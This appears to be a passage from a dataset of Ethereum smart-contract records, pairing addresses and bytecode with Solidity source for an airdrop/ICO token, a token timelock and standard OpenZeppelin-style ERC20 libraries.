e8565b82525050565b61154b81611afa565b82525050565b600061155c82611ab0565b6115668185611ac6565b9350611576818560208601611b67565b61157f81611b9a565b840191505092915050565b61159381611b43565b82525050565b6115a281611b55565b82525050565b60006115b382611abb565b6115bd8185611ad7565b93506115cd818560208601611b67565b6115d681611b9a565b840191505092915050565b60006115ee602283611ad7565b91507f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008301527f64730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611654601b83611ad7565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000611694600c83611ad7565b91507f6e6f7420656c696769626c6500000000000000000000000000000000000000006000830152602082019050919050565b60006116d4601083611ad7565b91507f616c726561647920656c696769626c65000000000000000000000000000000006000830152602082019050919050565b6000611714602183611ad7565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061177a601f83611ad7565b91507f6e6f7420616e2065787465726e616c6c79206f776e6564206163636f756e74006000830152602082019050919050565b60006117ba600d83611ad7565b91507f6e6f7420617661696c61626c65000000000000000000000000000000000000006000830152602082019050919050565b60006117fa601f83611ad7565b91507f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006000830152602082019050919050565b61183681611b39565b82525050565b60006020820190506118516000830184611533565b92915050565b600060608201905061186c6000830186611533565b6118796020830185611533565b611886604083018461182d565b949350505050565b60006080820190506118a36000830187611533565b6118b06020830186611599565b81810360408301526118c28185611551565b90506118d1606083018461158a565b95945050505050565b60006040820190506118ef6000830185611533565b6118fc602083018461182d565b9392505050565b60006020820190506119186000830184611542565b92915050565b6000602082019050818103600083015261193881846115a8565b905092915050565b60006020820190508181036000830152611959816115e1565b9050919050565b6000602082019050818103600083015261197981611647565b9050919050565b6000602082019050818103600083015261199981611687565b9050919050565b600060208201905081810360008301526119b9816116c7565b9050919050565b600060208201905081810360008301526119d981611707565b9050919050565b600060208201905081810360008301526119f98161176d565b9050919050565b60006020820190508181036000830152611a19816117ad565b9050919050565b60006020820190508181036000830152611a39816117ed565b9050919050565b6000602082019050611a55600083018461182d565b92915050565b6000604051905081810181811067ffffffffffffffff82111715611a7e57600080fd5b8060405250919050565b600067ffffffffffffffff821115611a9f57600080fd5b602082029050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611af382611b19565b9050919050565b60008115159050919050565b6000819050611b1482611bab565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611b4e82611b06565b9050919050565b6000611b6082611b39565b9050919050565b60005b83811015611b85578082015181840152602081019050611b6a565b83811115611b94576000848401525b50505050565b6000601f19601f8301169050919050565b60028110611bb557fe5b50565b611bc181611ae8565b8114611bcc57600080fd5b50565b611bd881611afa565b8114611be357600080fd5b50565b611bef81611b39565b8114611bfa57600080fd5b5056fea264697066735822122054398a7e3d1164b20b42c786e8789671415cfaec02cad20a1b500b0e403b418264736f6c634300060c0033
[ 5, 7, 12 ]
0xf2cee90309418353a57717eca26c4f8754f0d84e
pragma solidity ^0.4.19; contract BaseToken { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; assert(balanceOf[_from] + balanceOf[_to] == previousBalances); Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract AirdropToken is BaseToken { uint256 public airAmount; uint256 public airBegintime; uint256 public airEndtime; address public airSender; uint32 public airLimitCount; mapping (address => uint32) public airCountOf; event Airdrop(address indexed from, uint32 indexed count, uint256 tokenValue); function airdrop() public payable { require(now >= airBegintime && now <= airEndtime); require(msg.value == 0); if (airLimitCount > 0 && airCountOf[msg.sender] >= airLimitCount) { revert(); } _transfer(airSender, msg.sender, airAmount); airCountOf[msg.sender] += 1; Airdrop(msg.sender, airCountOf[msg.sender], airAmount); } } contract ICOToken is BaseToken { // 1 ether = icoRatio token uint256 public icoRatio; uint256 public icoBegintime; uint256 public icoEndtime; address public icoSender; address public icoHolder; event ICO(address indexed from, uint256 indexed value, uint256 tokenValue); event Withdraw(address indexed from, address indexed holder, uint256 value); function ico() public payable { require(now >= icoBegintime && now <= icoEndtime); uint256 tokenValue = (msg.value * icoRatio * 10 ** uint256(decimals)) / (1 ether / 1 wei); if (tokenValue == 0 || balanceOf[icoSender] < tokenValue) { revert(); } _transfer(icoSender, msg.sender, tokenValue); ICO(msg.sender, msg.value, tokenValue); } function withdraw() public { uint256 balance = this.balance; icoHolder.transfer(balance); Withdraw(msg.sender, icoHolder, balance); } } contract BitcoinBrand is BaseToken, AirdropToken, ICOToken { function BitcoinBrand() public { totalSupply = 30000000000000000000000000000; name = 'BitcoinBrand'; symbol = 'BTCB'; decimals = 18; balanceOf[0xc4e570D2644CCe3a71DC4345b13EE5FD3aF720d1] = totalSupply; Transfer(address(0), 0xc4e570D2644CCe3a71DC4345b13EE5FD3aF720d1, totalSupply); airAmount = 1000000000000000000; airBegintime = 1529956800; airEndtime = 1529957100; airSender = 0xc4e570D2644CCe3a71DC4345b13EE5FD3aF720d1; airLimitCount = 1; icoRatio = 20000000; icoBegintime = 1529971200; icoEndtime = 1535327940; icoSender = 0xf46D665966674a8793aEd3109cCC65B2f638cF09; icoHolder = 0xf46D665966674a8793aEd3109cCC65B2f638cF09; } function() public payable { if (msg.value == 0) { airdrop(); } else { ico(); } } }
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461015057806307cc6051146101da578063095ea7b31461020157806318160ddd1461023957806323b872dd1461024e578063313ce567146102785780633884d635146102a35780633ccfd60b146102ab5780635d4522011461014657806370a08231146102c05780637d720296146102e157806395d89b4114610312578063a2ebb20b14610327578063a3fe1ade1461033c578063a9059cbb14610376578063b0f85a101461039a578063b3b8c620146103af578063d211fe86146103c4578063dd62ed3e146103d9578063de28fc1d14610400578063e6136d8414610415578063e67ad2541461042a578063e779a8cf1461043f575b34151561014657610141610454565b61014e565b61014e61056f565b005b34801561015c57600080fd5b5061016561062f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e657600080fd5b506101ef6106bd565b60408051918252519081900360200190f35b34801561020d57600080fd5b50610225600160a060020a03600435166024356106c3565b604080519115158252519081900360200190f35b34801561024557600080fd5b506101ef610729565b34801561025a57600080fd5b50610225600160a060020a036004358116906024351660443561072f565b34801561028457600080fd5b5061028d61079e565b6040805160ff9092168252519081900360200190f35b61014e610454565b3480156102b757600080fd5b5061014e6107a7565b3480156102cc57600080fd5b506101ef600160a060020a036004351661082b565b3480156102ed57600080fd5b506102f661083d565b60408051600160a060020a039092168252519081900360200190f35b34801561031e57600080fd5b5061016561084c565b34801561033357600080fd5b506102f66108a6565b34801561034857600080fd5b5061035d600160a060020a03600435166108b5565b6040805163ffffffff9092168252519081900360200190f35b34801561038257600080fd5b50610225600160a060020a03600435166024356108cd565b3480156103a657600080fd5b506101ef6108e3565b3480156103bb57600080fd5b506101ef6108e9565b3480156103d057600080fd5b506101ef6108ef565b3480156103e557600080fd5b506101ef600160a060020a03600435811690602435166108f5565b34801561040c57600080fd5b506102f6610912565b34801561042157600080fd5b506101ef610921565b34801561043657600080fd5b506101ef610927565b34801561044b57600080fd5b5061035d61092d565b600754421015801561046857506008544211155b151561047357600080fd5b341561047e57600080fd5b60095460007401000000000000000000000000000000000000000090910463ffffffff161180156104e25750600954336000908152600a602052604090205463ffffffff740100000000000000000000000000000000000000009092048216911610155b156104ec57600080fd5b60095460065461050791600160a060020a0316903390610951565b336000818152600a6020908152604091829020805463ffffffff198116600163ffffffff928316018216179182905560065484519081529351911693927fcce6ff7d594e7067a58df51c8588740b7c8b42537da7262add9823085de82e4892908290030190a3565b6000600c5442101580156105855750600d544211155b151561059057600080fd5b600254600b54670de0b6b3a76400009160ff16600a0a34909102020490508015806105d45750600e54600160a060020a031660009081526004602052604090205481115b156105de57600080fd5b600e546105f590600160a060020a03163383610951565b604080518281529051349133917f4a987bc3d04b32db133ad9a3c7c0d8ecc441eb56f45a62b92c38384c095e7ac09181900360200190a350565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106b55780601f1061068a576101008083540402835291602001916106b5565b820191906000526020600020905b81548152906001019060200180831161069857829003601f168201915b505050505081565b60065481565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035481565b600160a060020a038316600090815260056020908152604080832033845290915281205482111561075f57600080fd5b600160a060020a0384166000908152600560209081526040808320338452909152902080548390039055610794848484610951565b5060019392505050565b60025460ff1681565b600f54604051303191600160a060020a03169082156108fc029083906000818181858888f193505050501580156107e2573d6000803e3d6000fd5b50600f54604080518381529051600160a060020a039092169133917f9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb919081900360200190a350565b60046020526000908152604090205481565b600954600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106b55780601f1061068a576101008083540402835291602001916106b5565b600f54600160a060020a031681565b600a6020526000908152604090205463ffffffff1681565b60006108da338484610951565b50600192915050565b60085481565b600b5481565b600d5481565b600560209081526000928352604080842090915290825290205481565b600e54600160a060020a031681565b600c5481565b60075481565b60095474010000000000000000000000000000000000000000900463ffffffff1681565b6000600160a060020a038316151561096857600080fd5b600160a060020a03841660009081526004602052604090205482111561098d57600080fd5b600160a060020a038316600090815260046020526040902054828101116109b357600080fd5b50600160a060020a0382811660009081526004602052604080822080549387168352912080548481038255825485019283905590549201910181146109f457fe5b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050505600a165627a7a72305820d0184ff3f23b888091ee4a47311bf00c89a3bf3ff47cf65ce08e31c7125ec2490029
[ 38 ]
0xf2cfb1c009c9257cc9e509477850112b8a705180
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28425600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xe2c5D2b8ec058Db85f50C28Ba19aA5A3B8feA018; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a7230582047b3a8cc6a5120ba08378ac1de8200be00c2500291f8fe33b26cacb9a885f0440029
[ 16, 7 ]
0xf2d003224db75dd37bb5c4aa2315bd4d5de69a55
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of 